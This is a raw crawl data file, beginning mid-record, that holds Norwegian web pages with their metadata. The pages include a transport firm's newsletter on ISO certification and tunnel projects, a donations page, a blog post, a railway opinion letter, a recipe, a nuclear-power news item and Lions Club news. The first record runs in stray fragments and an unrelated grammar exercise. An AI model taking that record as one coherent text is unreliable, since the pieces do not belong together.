prosedyrar, tek vare p\u00e5 all dokumentasjon, avvikssystem og registreringer. Dette systemet er utvikla som eit fellessystem for Septik24 tilknytta bedrifter, som JBT er ein del av. Samtlege Septik24 bedrifter vil verta ISO sertifiserte bedrift i l\u00f8pet av Gjennom dette \u00e5ret har tilsette og leiinga f\u00e5tt betre kontroll og styring, effektivisert prosesser med fokus p\u00e5 kontinuerlig forbetring og m\u00e5lstyring, som er sentrale ISO krav. Johny og Per Inge Erfaringar fr\u00e5 leiinga i JBT, Johny Birkeland Ei ISO 9001 og ei ISO sertifisering er krevjande, kvifor \u00f8nskte du at JBT skulle gjennomf\u00f8re ei slik ISO sertifisering? I forbindelse med arbeid for Statoil Mongstad vart det krav om \u00e5 vere godkjent i Achilles databasen. Det er ein felles base for mange oljeselskap. Entrepren\u00f8rar som dei skal bruke m\u00e5 vere godkjent etter den standarden, og etter leve krav innan kvalitet og HMS. For \u00e5 f\u00e5 orden p\u00e5 dette tok me kontakt med WBU og fikk dei til \u00e5 g\u00e5 gjennom status for selskapet og hjelpe oss med oppgraderinga. Me var ogs\u00e5 klar over at i anbodsamanheng for slamt\u00f8mming kan det snart komme krav om ISO sertifisering. S\u00e5leis har no dei fleste akt\u00f8rane i septik24 gruppa ISO sertifisering p\u00e5 timeplanen. Kva fordelar og nytta har eventuelt denne ISO sertifiseringa hatt for bedrifta s\u00e5 langt? Internt har me dei fordelane at me lettare finn dokumenter og dokumentasjon som trengst i den daglige drift. Utad mot kundar s\u00e5 merkar me fordeler n\u00e5r st\u00f8rre kundar skal revidere oss. P\u00e5 innkj\u00f8pssida er me og blitt betre. Mykje mindre antal produkt. Alle som kj\u00f8per inn produkt hj\u00e5 oss er og meir bevist kva me treng. Det er slutt p\u00e5 impulskj\u00f8p, og dette sparar oss for pengar. Har du l\u00e6rt noko i denne prosessen eller har det vore mest slit? Slit har det vore. Men ved \u00e5 dra medarbeidarane med oss og stor hjelp fr\u00e5 WBU har det g\u00e5tt greitt. Per Inge (khms sjef) her p\u00e5 kontoret har f\u00e5tt ansvar for framdrifta og vedlikehald av systemet. Samtid har me gjort avtale med WBU om oppf\u00f8lging og intern revisjonar slik at me heldt systemet levande. Vil du anbefale andre bedrifter \u00e5 investerer i ei ISO sertifisering? Ja absolutt, eg trur at n\u00e6ringslivet vil sette dette som krav i framtida for \u00e5 f\u00e5 vere med \u00e5 rekne p\u00e5 anbod. S\u00e5 no er me godt f\u00f8rebudd og rusta for framtida. Korleis har du f\u00e5tt dine folk med i ISO tankegangen? Tok nok ei stund f\u00f8r dei s\u00e5g nytte av det. Men i l\u00f8pet av prosessen der alle har bidratt innan kvar sitt felt er motivasjonen kommen etter kvart som prosessen har g\u00e5tt framover. Wergeland Bedriftsutvikling ble etablert i 2008 og har bist\u00e5tt en rekke bedrifter med ISO-sertifisering, kvalitets- og HMS styringssystemer, Milj\u00f8fyrt\u00e5rnsertifisering og kompetanseutvikling. R\u00e5dgiverne i WBU har lang h\u00f8gskole-/universitetsutdanning med relevante fag innen kvalitet og HMS. Vi er sertifiserte kvalitetsrevisorer og godkjente milj\u00f8konsulenter, og er kvalifiserte innen effektiviseringsprosjekter som Lean Thinking. Vi er leverand\u00f8rer til Det Norske Veritas (DNV) innen sertifisering av styringssystemer og foreleser for/samarbeider med BI Bergen og BI Stavanger innen ledelsesfag og HMS-studier p\u00e5 bachelor- og masterniv\u00e5. Velferdstur for ansatte hos Johny Birkeland Transport Laurdag 04.juni 2011, tidlig morgon, stod ein gjeng klar p\u00e5 Kringla for fjelltur til Stordalen. Det var meldt fin v\u00e6r for dagen men litt regntjukke l\u00e5g oppi h\u00f8gda. Dei starta med friskt mot for dei hadde ein bratt stigning framfor seg p\u00e5 f\u00f8rste del av strekninga. Litt v\u00e5tt og surt var det p\u00e5 toppen og heller liten sikt mot toppane, men ingen sure miner for det. Ved V\u00e5gseth-st\u00f8len var det tid for lunsj og d\u00e5 hadde ogs\u00e5 sola klart \u00e5 fortrenge skyene s\u00e5 resten av dagen blei berre solskin og tid for \u00e5 nyte naturen.. Alle hadde lov \u00e5 v\u00e6re litt slitne etter 8 timar tur i fjellet, d\u00e5 fjellstova kom til syne i Stordalen. I Stordalen Fjellstove var det no tid for avslapping med god middag og det sosiale liv saman med fleire kollegaer som tok bilvegen til Stordalen. Ei triveleg helg J 4 5\n er ein 3.\")\n\n\n\n\n6 Birkeland Entrepren\u00f8rforretning Holentunnelen, portal i \u00f8st Holen, veg i dagen I skrivende stund har vi tre prosjekter. Dette er arbeidet med veg og tunnel p\u00e5 FV 60 mellom Olden og Innvik i Stryn kommune, og arbeidene med tunnel, sjakt og silo p\u00e5 Seljestokken ved Flor\u00f8 og kokstransport p\u00e5 Statoil Mongstad 2) FV 60 Holentunnelen, Veg og tunnelarbeid. Mellom Olden og Innvik har vi siden desember holdt p\u00e5 med tunnel og ny vei i dagen for Statens vegvesen, region vest. Veiarbeidene begynner \u00e5 bli ferdige, og deler av anlegget overleveres og \u00e5pnes til ferien. Tunnelen ble ferdig sprengt i slutten av mars, og vi har jobbet med etterarbeider som vann og frostsikring, dren og trekker\u00f8r,asfaltering etc. Den ene betongportalen er ferdig st\u00f8pt, og arbeidene p\u00e5g\u00e5r for fullt med portal nr to. Denne blir 40 meter lang, og har en profil p\u00e5 T10,5 s\u00e5 her er det mye jobb\\! 1) Tunnel, sjakt og silo i fjell p\u00e5 Seljestokken: Hele anlegget skal v\u00e6re ferdigstilt til 14. oktober. Her har vi i totalentreprise for Norwegian Sandstone Export AS tatt p\u00e5 oss \u00e5 etablere sjakt og silo i fjell, hvor sjakta skal ende ned i tunnelen som n\u00e5 holder p\u00e5 med. Vi har n\u00e5 kommet ca 80 meter inn med tunnelen. N\u00e5r tunnelen er inne til senter av Glory Hole, s\u00e5 vil vi bore ovenfra og ned i tunnelen, for s\u00e5 \u00e5 r\u00f8mme opp hullet motsatt vei. Avslutningsvis vil vi strosse ut deler av sjakta til en silo, slik at kunden f\u00e5r et teoretisk lagringsvolum p\u00e5 ca m3 med stein i siloen. Hovedmengder: Lengde tunnel er 216 meter. Tunnelprofil er T8,5 Lengde sjakt og silo i fjell er ca 50 meter. Lagringsvolum i silo er ca 2300 m 3. Seljestokken, tunnelrigg Hovedmengder: Totalt 1600 meter ny veg, hvorav 280 meter g\u00e5r i tunnel. Sprengning av tunnel, ca fm 3. Sprengning i dagen, ca fm 3. V\u00e5re st\u00f8rste underentrepren\u00f8rer er: Veg i dagen: Lars Kveen AS. Vann og frostsikring av tunnel, Tunnelteknikk AS. Spr\u00f8ytebetong, Snemyr og Limm Betongpumping AS. Betongarbeider portaler, A. V\u00e5ge AS. Elektroarbeider i tunnel, Mesta Elektro AS. Holentunnelen, portal i vest 10 Seljestokken, p\u00e5gugg 11\n\n\n\n### 3 Gjer setningane om til indirekte tale med verba i preteritum. Han fortalde: Ho bur p\u00e5 Cuba. Han fortalde at ho budde p\u00e5 Cuba.\n\n", "language": "no", "__index_level_0__": "94a507ad-9aea-48b3-b0a9-dd0a52d9c098"}
{"url": "https://www.montebellosenteret.no/Om-Montebellosenteret/Gaver-/-donasjoner/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:24:10Z", "text": "\n\n## Gaver / donasjoner\n\nMontebellosenteret kan takke mange privatpersoner, lag og foreninger og selskaper for sm\u00e5 og store gaver.\u00a0 Nytt auditorium (bygd 1998) og trivselsanlegget (ferdig 2002) er takket v\u00e6re gaver fra private bidragsytere.\n\nSenteret har nylig gjennomf\u00f8rt sitt st\u00f8rste byggeprosjekt hittil. Lions Norge var sammen med Kreftforeningen primus motor for \u00e5 skaffe penger med Lions R\u00f8de Fj\u00e6r aksjon i 2004. Med unntak av Statens tilskudd p\u00e5 2 mill. til TV2-aksjonen, s\u00e5 har hele utbygningen v\u00e6rt finansiert av innsamlede midler og gaver.\n\nSm\u00e5 og store bidrag til trivselstiltak som turer og underholdning for kursdeltagerne har bidratt til at dette er blitt en viktig og verdifull del av kurstilbudene. En dag p\u00e5 Hunderfossen i familiekursene blir muliggjort som f\u00f8lge av dette.\u00a0\n\n**Takk til v\u00e5re givere\u00a0**(klikk p\u00e5 linken for \u00e5 se en oversikt over v\u00e5re givere)\n\nEksempler p\u00e5 prosjektene som vi har realisert med gaver/donasjoner:\n\nEn flott lavvo for gavemidler vesentlig fra Bergesens Almennyttige Stiftelse\n\nKunstutsmykning realisert\u00a0fra arv etter Hilda Hoen Nordbye og Magne Nordbye\u00a0\n\nMysendammen og qigongbane er realisert med gavemidler vesentlig fra tidligere Gj\u00f8vik og Toten st\u00f8ttef\u00f8rening for kreftsyke\n\nOppussing overnattingsrommene i blomsteravdelingen er realisert med gaver fra foreninger, organisasjoner og privatpersoner \u00a0\n\nProsjektene som bare er mulig fordi du st\u00f8tter Montebellosenteret. Tusen takk\\!\u00a0\n\nHar du sp\u00f8rsm\u00e5l ang din gave/donasjon,\u00a0betalingsm\u00e5te eller noe annet i forbindelse med gave/donasjon, gjerne ta kontakt med oss p\u00e5 tlf 62 35 11 00 eller send epost til \n\n", "language": "no", "__index_level_0__": "5009977e-5b8d-4ed5-a084-41084233d571"}
{"url": "http://troenoghaapet.blogspot.com/2009/08/arvegods.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:09:07Z", "text": " \n\n## l\u00f8rdag 15. august 2009\n\n### Familie, arvegods og Influensahysteri\n\n Denne \"saken\" er ogs\u00e5 en av de mange ting jeg har arvet.  \nJeg vet ingenting om den..ikke hvor gammel den er eller hvem som har laget den..etc..  \nDen som har laget denne har gjort seg flid  \n..og kanskje var det en gang en liten jente eller gutt, som ville med denne glassplaten vise sin mor og far hvor mye de betydde for vedkommende?  \nDet er s\u00e5 hyggelig med gamle ting og tang, for da kan man la tankene vandre og n\u00e6rmest \"se\" hele handlingsl\u00f8pet foran seg;)  \n  \nApropo familie..har en liten syk gutt hjemme i dag;/..det begynte i natt, med feber..\u00e5 i dag: enda h\u00f8yere feber og oppkast\\!\\!Kan formelig se influensa A\\`s sm\u00e5 minigriser innta huset v\u00e5rt..\"total isolasjon i ukevis, sykehusinnleggelser og medias skremselspropaganda\"  \n..ringte legevakten..ja, for lillegutt har jo ogs\u00e5 astma..det er bare \u00e5 f\u00f2re p\u00e5 med stikkpiller og inhalatorer..se an formen...  \n\u00c5h\\! Jeg er ikke hysterisk, vil ikke v\u00e6re det, skal ikke v\u00e6re det og b\u00f8r ikke v\u00e6re det..  \nmen hodet mitt spinner og virvler seg inn i alskens fantasier om at svineinfluensaen har innhenta ogs\u00e5 oss;/  \nKanskje fantasiene og hysterien ogs\u00e5 er et symptom?;)\n\n Lagt inn av Troen og Haapet   kl. l\u00f8rdag, august 15, 2009        \n\n Etiketter: Interi\u00f8r, minner, svineinfluensa? \n\n#### 1 kommentar:\n\n1.  \n    \n    Vilt og vakkert15. august 2009 kl. 10:21\n    \n    Heisann\\!  \n      \n    S\u00e5 artig at du likte innlegget om utedoen\\!  \n    Jeg lurer p\u00e5 s\u00e5 mange ting....  \n      \n    Innlegget ditt fikk meg ogs\u00e5 til \u00e5 tenke p\u00e5 mitt innlegg \"En far er god \u00e5 ha\". Han blir 95 til vinteren, en eldgammel mann. Men som alle oss andre, er han jo ikke mer enn i 20\u00e5ra inni seg. Han hjelper til der han kan, kj\u00f8rer rundt i bilen sin, steller i haven og setter pris p\u00e5 bes\u00f8k av sine to d\u00f8tre.  \n      \n## Millie 4 m\u00e5neder:)\n\n  \n\n    \n\n## Leo, en herremann p\u00e5 3 \u00e5r\n\n", "language": "no", "__index_level_0__": "c8652d67-e9b6-4d24-9c31-89bb81981466"}
{"url": "https://www.folkebladet.no/meninger/ordetfritt/2017/03/16/Hva-med-Nord-Norge-banen-14451145.ece", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:23:39Z", "text": "### Jernbanedebatten:\n\nHVOR BLIR DEN AV? Sverre Stenvold er en av mange som etterlyser handling n\u00e5r det kommer til Nord-Norgebanen.\u00a0 Foto: Stian Jakobsen\n\n> Nord-Norge ble lovet og lovet en ordentlig riksvei gjennom landsdelen i stedet for jernbane.\n> \n> Sverre Stenvold, S\u00f8rreisa\n\ndebatt\n\nPublisert: 16 mars 2017 00:44 Sist oppdatert: 16 mars 2017 00:44\n\n  - Av\u00a0 Av Sverre Stenvold, S\u00f8rreisa\n\nDet er framtidsretta og bra at det i ny Nasjonal Transportplan (NTP) satses mye p\u00e5 jernbane i S\u00f8r-Norge. Men, hva med Nord-Norge og Nord-Norge-banen?\n\nNord-Norgebanen stopper ved Fauske/Bod\u00f8. Alts\u00e5: Over tredjeparten av Kongeriket Norge (en stor del av Nordland, hele Troms og Finnmark fylker) har enda ikke jernbane. Da ser jeg bort fra Ofotbanenen/Malmbanen mellom Kiruna i Sverige og Narvik. En jernbane-bit som i en \u00e5rrekke tilf\u00f8rte De Norske Statsbaner (NSB) store overskudd. Trafikken her er stor og det er i dag behov for dobbeltspor. Finansiering?\n\nDet hevdes at vi er s\u00e5 f\u00e5 mennesker i disse fylkene og at det derfor ikke er l\u00f8nnsomt \u00e5 bygge stamjernbane videre nordover fra Fauske. Disse p\u00e5standene er tilbakevist ved flere utredinger. En jernbane nordover skal ikke spesielt basere sin l\u00f8nnsomhet p\u00e5 \u00abpapirflyttende\u00bb mennesker, men den skal transportere varer som skaper realverdier for hele landet \u2014 realverdier Nord-Norge siden \u00abtidenes morgen\u00bb har tilf\u00f8rt nasjonen Norge i stort monn.\n\nNord-Norge ble lovet og lovet en ordentlig riksvei gjennom landsdelen i stedet for jernbane. Likevel sliter vi fortsatt med mye svinget, smal og d\u00e5rlig stambilvei (E6) gjennom landsdelen slik at blant annet en stor del av langtransporttrailerne kj\u00f8rer gjennom Sverige. Det er gjerne et tidssp\u00f8rsm\u00e5l f\u00f8r svenskene tar seg betalt for denne slitasjen p\u00e5 deres veier. Det samme kan skje med trafikken over Ofotbanen (ARE-togene) og slitasjen/kapasiteten p\u00e5 De Svenske Jernveger.\n\n\u00abIntet transportmiddel over lange avstander kan konkurrere med jernbanen b\u00e5de n\u00e5r det gjelder \u00f8konomi og milj\u00f8\u00bb.\n\nBygg hele landet, forleng Nord-Norge-banen og den nord-norske \u00f8konomien vil suse (som det n\u00e5 sies og heter) oppover enda sterkere \u2014 dette ogs\u00e5 til fordel og utvikling av hele landet, Norge\\!\n\nPolitikere, men rikspolitikere spesielt: \u00abHva Fanden n\u00f8ler i efter\u00bb. Vi kan ikke vente p\u00e5 jernbanen i nye 100 \u00e5r\\!\n\n**Si din mening:** Du er hjertelig velkommen til \u00e5 kommentere denne artikkelen (stengt mellom midnatt og kl. 06:00). Du m\u00e5 v\u00e6re innlogget p\u00e5 Facebook for \u00e5 kunne kommentere. Upassende og injurierende innlegg vil bli slettet\\! Hele debatter kan ogs\u00e5 bli fjernet uten forvarsel.\n", "language": "no", "__index_level_0__": "fdde8d70-946e-4160-b995-e5c7cfa06659"}
{"url": "http://oppskrift.klikk.no/plukkfisk/280/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:24:43Z", "text": "# Plukkfisk\n\n## \n\nTakk for din vurdering\\!\n\n\nH\u00f8yde (px):  Bredde (px): \n\nMinimum bredde m\u00e5 v\u00e6re 400 px\n\nIngredienser\n\n2 porsjoner\n\nDel p\u00e5:   \n\n400\u00a0g renset kokt fisk\n\n4\u00a0stk potet, kokt\n\n3\u00a0dl h- melk eller kaffefl\u00f8te\n\n\u00a0 salt\n\n1\u00a0ss sm\u00f8r\n\n1\u00a0ss hakket gressl\u00f8k\n\n1\u00a0stk egg, hardkokt\n\n\u00a0 hvit pepper\n\nSlik gj\u00f8r du det:\n\nRens fisken n\u00f8ye for skinn og ben. Grovdel den med en gaffel. Skrell potetene og mos dem. Bland fisk og poteter, spe med melk til fyldig konsistens. Varm blandingen og smak den til med salt og pepper. R\u00f8r inn sm\u00f8r og persille f\u00f8r servering. Garner med eggeb\u00e5ter og spis flatbr\u00f8d til.\n\n\n\nOppskrift: Aase Str\u00f8mstad\n\n#### KOMMENTARER\n\nV\u00e6r med p\u00e5 \u00e5 gj\u00f8re oppskriftene v\u00e5re enda bedre\\! Kom med dine tips og ideer til forbedring her. V\u00e6r forsiktig med personangrep og sjikane og pr\u00f8v heller \u00e5 forklare hva du mener og hvorfor.\n\n", "language": "no", "__index_level_0__": "81c55e09-b2bd-47c5-85ce-5d7c0e99f7da"}
{"url": "https://www.nettavisen.no/nyheter/innenriks/foreslar-atomkraft-i-bergensomradet/2960801.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:46:32Z", "text": "# Foresl\u00e5r atomkraft i Bergensomr\u00e5det\n\nProfessor mener kjernekraft kan l\u00f8se str\u00f8mproblemet i Bergen.\n\nProfessor Jon Samseth mener energiproblemene i Bergensomr\u00e5det ikke blir l\u00f8st ved \u00e5 bygge en kraftlinje. Kjernekraft er p\u00e5 sikt det mest fornuftige, mener han.\n\nIf\u00f8lge Samseth, som er professor i energifysikk ved Universitetet i Akershus, er ikke en ny kraftlinje det Bergensomr\u00e5det trenger aller mest, skriver Teknisk Ukeblad.\n\n\\- Problemet er ikke l\u00f8st ved \u00e5 bygge ny kraftlinje. Vi er ogs\u00e5 n\u00f8dt til \u00e5 bygge ny kraftproduksjon i omr\u00e5det, enten i form av gasskraft eller kjernekraft, sier Samseth.\n\nHan mener at siden kjernekraft er det billigste og sikreste av disse to alternativene, s\u00e5 er det denne energiformen man b\u00f8r velge \u00e5 bygge ut.\n\nFordi det vil ta minst ti \u00e5r \u00e5 bygge et atomkraftverk, mener Samseth at det er riktig \u00e5 bygge en ny kraftlinje mellom Sima og Samnanger, men han foretrekker alternativet med sj\u00f8kabler.\n\n\\- Framtidige generasjoner vil synes det er fornuftig \u00e5 velge sj\u00f8kabler, selv om det er dyrt i dag. Vi m\u00e5 gjenreise det klassiske milj\u00f8vernet i Norge, mener Jon Samseth.\n\n", "language": "no", "__index_level_0__": "aa492a60-6102-470c-85ca-3bfa4506f028"}
{"url": "http://www.lions.no/district/show/Distrikt+104+D4/42579", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:11:43Z", "text": "\n\n\n\n**Tirsdag 30 januar gikk den f\u00f8rste Syng med oss kvelden 2018 av stabelen**\n\n**i kantina p\u00e5 Eikertun.\u00a0**\n\n## Lions st\u00f8tter temakveld p\u00e5 R\u00e5dhuset, Hokksund: Ungdomskultur p\u00e5 ville veier.\n\n**Mandag 5 febr ble det avholdt temam\u00f8te p\u00e5 R\u00e5dhuset, Hokksund i forbindelse med**\n\n**visse negative trender i utviklingen av ungdomsmilj\u00f8et i \u00d8vre Eiker. M\u00f8tet ble arrangert**\n**av Hokksund Byutvalg og \u00d8vre Eiker Bibliotek med St\u00f8tte fra Lions Club \u00d8vre Eiker og Kiwanis.**\n\nBrit-Karin Buttedahl, kommunikasjonssjef i Integrerings- og mangfoldsdirektoratet (IMDI) gjestet Lions Club \u00d8vre Eikers siste medlemsm\u00f8te.\u00a0 Representanter fra \u00d8vre Eiker Kommune og NAV \u00d8vre Eiker var ogs\u00e5 invitert og deltok p\u00e5 m\u00f8tet.\n\n## God Jul og Godt Nytt \u00c5r\\!\n\nDG og DISTRIKTSR\u00c5DET VIL TAKKE ALLE MEDLEMMENE I DISTRIKTET FOR EN UVURDERLIG INNSATS I 2017 og \u00d8NSKER ALLE  \n\n\n\n## Bil til Kirkens Bymisjon i Kongsberg\n\n\nKlubbene LC Kongsberg Vest og Syd \u00f8nsket \u00e5 vise sin anerkjennelse av det arbeid Kirkens Bymisjon i Kongsberg gj\u00f8r og st\u00e5r for.\n\nI forbindelse med at Lions i \u00e5r har sitt 100 \u00e5rs jubileum, har klubbene g\u00e5tt sammen om en st\u00f8rre gave til en institusjon som arbeider i tr\u00e5d med Lions sitt fokus p\u00e5 humanit\u00e6r st\u00f8tte i v\u00e5rt n\u00e6romr\u00e5de.\n\nVi valgte Kirkens Bymisjon i Kongsberg som mottaker og i dialog med dem ble gaven en sponsing av bil til et bruk i deres arbeid.\u00a0\n\n## Lions Telerosas julemesse / loppemarked 18.11.2017 p\u00e5 Notodden\n\n\n\n## Medlemsm\u00f8te hos Rune Isachsen p\u00e5 Eek g\u00e5rd\n\n\n\nLC \u00d8vre Eiker hadde sitt novemberm\u00f8te i herskapelige omgivelser p\u00e5 Eek G\u00e5rd.  \nRune Isachsen var invitert for \u00e5 holde sitt foredrag \u00abHistorien om Isachsen\u00bb og inviterte like gjerne hele Lions til Eek G\u00e5rd s\u00e5 vi i tillegg til foredraget kunne avholde m\u00f8tet v\u00e5rt i gildehallen. P\u00e5 m\u00f8tet fikk vi ogs\u00e5 en innf\u00f8ring i g\u00e5rdens historie og hvordan renoveringen av eiendommen ble gjennomf\u00f8rt. I fantastiske omgivelser med t\u00f8mmervegger og fyr p\u00e5 peisen fikk vi s\u00e5 en interessant innf\u00f8ring i Isachsens historie og vi fikk gjennomf\u00f8rt m\u00f8tet v\u00e5rt og fikk v\u00e6re med p\u00e5 en minnerik kveld.\n\n## Siri Pedersen Lions Telerosa fikk n\u00e5l for sitt arbeide med \u00e5 skaffe nye medlemmer p\u00e5 m\u00f8te 11.10.2017\n\n\n\nAvtalen med kommunen er at vi har tilgang til klubblokalene mot at vi holder bygningen ved like. Etter noe planlegging og organisering med stilasoppsett, leie og l\u00e5n av lift og sakselift, kj\u00f8p av maling og beis mm, kom helga med nogenlunde fint v\u00e6r for dugnad.\n\n## Bedriftsbes\u00f8k p\u00e5 Scanmatic Kr\u00f8genes \u2013 onsdag 1. november kl. 1900.\n\n## Medlemsm\u00f8te 5. September - LC \u00d8vre Eiker\n\n## L\u00f8venytt august 2017\n\n\n\n\nN\u00e5 er det klart for p\u00e5melding til Lionskonferansen\u00a0\u00a0p\u00e5 Quality Hotel Klubben i T\u00f8nsberg 21. og 22. oktober.\n\n**P\u00e5meldingsfrist er satt til 19. september\\!**\n\n## Grilldag p\u00e5 Bol\u00e6ren\n\n**Med st\u00f8tte fra T\u00f8nsberg Kommune arrangerte Lions Club T\u00f8nsberg en grilldag for flyktninger som sogner til \"Velkommen Caf\u00e9\" i T\u00f8nsberg. Skj\u00e6rg\u00e5rdsturen var lagt til 17. juli, som opprant med deilig sommerv\u00e6r.**\n\n## Melwin Jones tildelt Hans Eidsgaard\n\n\nDa Sykkelaksjonen og DG Jonny Steindal kom til Gol.\n\n## Sommerfest i Borreparken\n\n\n\n**Som s\u00e5 mange \u00e5r f\u00f8r, arrangerte Lions Club Horten, i samarbeid med Horten kommune, sommerfest for personer med psykisk utviklingshemming som bor i kommunale boliger. Ogs\u00e5 i \u00e5r fikk de hjelp av Lions Club Horten Misteltein og Lions Club Borre til gjennomf\u00f8ringen av arrangementet.**\n\n## Lionsklubben fikk mindre \u00e5 rydde i \u00e5r\n\n\n\n## Lions h\u00f8yeste utmerkelse\n\n\n\n**Melvin Jones Fellowship Award er Lionsbevegelsens h\u00f8yeste utmerkelse. Den kan tildeles personer som har gjort en s\u00e6rlig innsats for sine medmennesker. Denne gangen var det \u00d8yvind Pettersen-Dahl klubben ville hedre med denne utmerkelsen.**\n\n## Innsatspokalen\n\n\n\n**Lions Club Borres innsatspokal g\u00e5r dette \u00e5ret til Magne Rasten. Han f\u00e5r den for sitt str\u00e5lende engasjement i klubbens hyttetilsynssak.**\n\n## Feiring av Lions Internasjonal 100 \u00e5rs jubileum.\n\n\n\nI \u00e5r kan vi feire Lions sitt 100 \u00e5rs jubileum.\n\nJubileet ble markert i Hallingdal med en Sykkelaksjon til inntekt for Barnekreftforeningen,\u00a0 L\u00f8rdag 10. Juni stopp aksjonen p\u00e5 Nesbyen.\n\n\n\nJonny Steindal, Terje Engebakken\n\n## H.M. Kong Harald setter seil med Lions og barnevernsbarn\n\n## Lions Tulipankonsert\n\n**Fredag 28. april arrangerte Lionsklubbene i Horten, LC Borre, LC Horten og LC Horten Misteltein, konsert med Kongelige Norske Marines Musikkorps, p\u00e5 folkemunne kalt Marinemusikken.** **\u00a0N\u00e5r de 3 Lionsklubbene i Horten g\u00e5r sammen om \u00e5 arrangere en konsert dagen f\u00f8r tulipanaksjonen, s\u00e5 er det jo klart at den m\u00e5 hete Lions Tulipankonsert.**\n## Lions Club Skien deltok p\u00e5 Gulsetdagen 22. april 2017\n\n\n\n\u00c5rets Gulsetdag ble avholdt p\u00e5 Gulsetsenteret i regi av Gulset N\u00e6rmilj\u00f8senter. Arrangementet varte fra kl.10.00 til 14.30 l\u00f8rdag 22.4.2017.\n\nLions Club Skien var representert med egen \"stand\" og her kunne du m\u00f8te presidenten, Tor Helge Hartvigsen.\n\nLC Skien presenterte seg ved bruk av en selvg\u00e5ende PowerPoint p\u00e5 storskjerm og ulike info-skriv og \"Hva er Lions\" og hva driver medlemmene i LC Skien med.\n\nKlubbens stand ble godt bes\u00f8kt og kanskje ble det oppn\u00e5dd god dialog med endel potensielle nye medlemmer, iallefall var det flere som fikk invitasjon til \u00e5 komme p\u00e5 klubbens neste medlemsm\u00f8te for \u00e5 kanskje bli bedre kjent med Lions og de \u00f8vrige medlemmene i Lions Club Skien.\n\nPresidenten syntes det hadde v\u00e6rt en b\u00e5de viktig og hyggelig promotering av Lions og LC Skien.\n\n## AMIGITOS\n\n\n\n**En humanit\u00e6r organisasjon som hjelper fattige haitiere som oppholder seg i Den Dominikanske Republikk p\u00e5 Haiti. P\u00e5 Lions Club Borres aprilm\u00f8te fikk vi bes\u00f8k av Siv Mika Engebretsen som \u00f8nsket \u00e5 fortelle oss om sitt hjelpearbeid p\u00e5 Haiti.**\n\n## Tulipanaksjonen i T\u00f8nsberg\n\n\n\n***Tulipanaksjonen 2017 siste uken i april*** *ble ogs\u00e5 denne gang en stor salgssuksess. T\u00f8nsbergklubben hadde egentlig delt aksjonen i 4 aktiviteter som var adskilt b\u00e5de i tid og rom. Forh\u00e5ndssalget til foretninger og bedrifter startet tidlig i februar. Den dagen vi mottok de bestilte tulipanene ble disse delt ut til kundene, sammen med en hilsen og en faktura. Fredag i aksjonsuken var klubben tilstede p\u00e5 N\u00f8tter\u00f8y med salg av tulipaner, og l\u00f8rdag var klubben p\u00e5 T\u00f8nsberg torv med lykkehjul ,kakelotteri og salg av restbeholdningen av tulipaner. Hele 550 buketter ble solgt i l\u00f8pet av aksjonsdagene*\n\n## Lions i Vestfold gir legehjelp til Etiopia\n\n*P\u00e5 presidenttreff i Sone 4 den 24. april, i distrikt 104 D4, ble det klart at kirurgiprosjektet i Etiopia blir et soneprosjekt. Klubbene i sonen vil dermed slutte opp om prosjektet som Lions Club T\u00f8nsberg startet, og vil gi \u00f8konomisk st\u00f8tte til medisinsk hjelpearbeid i Etiopia.*\n\n## 100 \u00e5rs markering - Sykkelaksjonen\n\n\n\nJonny har startet oppladingen til \u00e5rets store begivenhet.\n\n## Hans Majestet Kongens Gardes Drill- og musikktropp til 100-\u00e5rsmarkering i Sandefjord 18.juni 2017.\n\n\n\n**17. og 18. juni 2017 vil det bli storstilt feiring av v\u00e5rt 100-\u00e5rs jubileum i Sandefjord.**\n\n**Vi er s\u00e5 heldige at vi f\u00e5r bes\u00f8k av Hans Majestet Kongens Gardes Musikk- og Drilltropp som vil lede en stor oppmarsj i Sandefjord sentrum s\u00f8ndag 18. juni 2017. Alle Sandefjords skolekorps vil delta, og det blir et stort fellesnummer f\u00f8r Garden gir oss en drilloppvisning som \u00e5rets gardister skal turnere med b\u00e5de i Norge og utlandet denne sommeren.**\n\n## Ny mannskapsbil\n\n\n\nStolte mannskaper fra Norsk Folkehjelp m\u00f8tte opp p\u00e5 klubbm\u00f8tet v\u00e5rt sist tirsdag for \u00e5 vise fram sin nye mannskapsbil.\n\n## Jubileumsgave fra Lions Club T\u00f8nsberg\n\n\n\nLions-organisasjonen ble stiftet 17. juli 1917, og har n\u00e5 klubber over hele verden med til sammen om lag 1,4 millioner medlemmer. Dette jubileet vil neste \u00e5r bli beh\u00f8rig markert og feiret over hele verden. Lions Club T\u00f8nsberg har \"tjuvstartet\" p\u00e5 feiringen med \u00e5 gi en jubileumsgave p\u00e5 100\u00a0000 kroner til flyktningebarn fra Syria som n\u00e5 holder til i Beqaa-dalen i Libanon.\n\n## Melvin Jones Fellow tildeles Per L\u00e5hne i LC T\u00f8nsberg\n\n\n\nPer ble medlem i 1984, og var president f\u00f8rste gang i 1987-88, og siden har han v\u00e6rt president for klubben i flere omganger, og selvf\u00f8lgelig ogs\u00e5 visepresident og Past President. Per har ogs\u00e5 gjort sin tjeneste som sekret\u00e6r. I mange \u00e5r var Per n\u00e6rmest fast medlem av styret i en eller annen funksjon, ofte som aktivitetsleder.\n\n## LC Arendal tildeler Melvin Jones Fellowship Award\n\n\n\n\nSom en markering av Lions 100 \u00e5r ble tre medlemmer hedret med Melvin Jones Fellow.\n\n\n\n## Overskuddet fra Julelotteriet 2016 utdelt.\n\n\n\nOverskuddet fra Julelotteriet 2016 ble utdelt ved en enkel sammenkomst i VARDENs nye lokaler p\u00e5 Kloster\u00f8ya i Skien.\n\nTil stede var presidenten i Lions Club Skien, Tor Helge Hartvigsen, markedssjefen i avisen 